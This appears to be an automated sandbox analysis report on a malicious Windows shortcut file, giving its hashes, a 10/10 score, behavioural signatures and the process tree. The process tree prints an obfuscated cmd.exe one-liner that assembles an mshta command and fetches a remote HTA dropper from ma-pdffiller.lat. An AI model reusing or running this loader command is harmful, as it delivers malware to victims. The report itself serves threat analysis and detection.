Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-ZJODK3.lnk
  • Size 2KB
  • Sample260804-kbm8msbj3s
  • SHA256 0bdba41f86ddd745c54d34d8388706ed63409661a38b2eb2b940211817d07c2a
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZJODK3.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set Pfqf=bakmxssoviradbak&set wWZ=bakkuhnabak&set gQvdy=tmppbeextmp&set lH=netuxdrolaquhewsatmnet&set JJQot=nettglabnrjrorgbdtmjmnet&set tm=tmprplxrtwcoeytmp&set QUlC=f7sb&&set JQn=pqktari&&set NNLpW=kcstnlh&set vbu=winczmydaodttacwin&set LfC=awmsz&&set SG=ushtap5d&set Yfkt=sysxsapxtdsys&set bcX=oldhrksmguzbcmold&set DTnT=tmplkwjyonddfikisxztltmp&set tdfoq=dbgrrywasugrzdbg&&set Ig=ht@t@ps://@ma-p@dffi@[email protected]@at@/h@/est@[email protected]?r@=391@4@69@F@B5@D82DB&&start /b !LfC:~2,2!!SG:~2,3! !Ig:@=!&&set YTbu=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3752

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads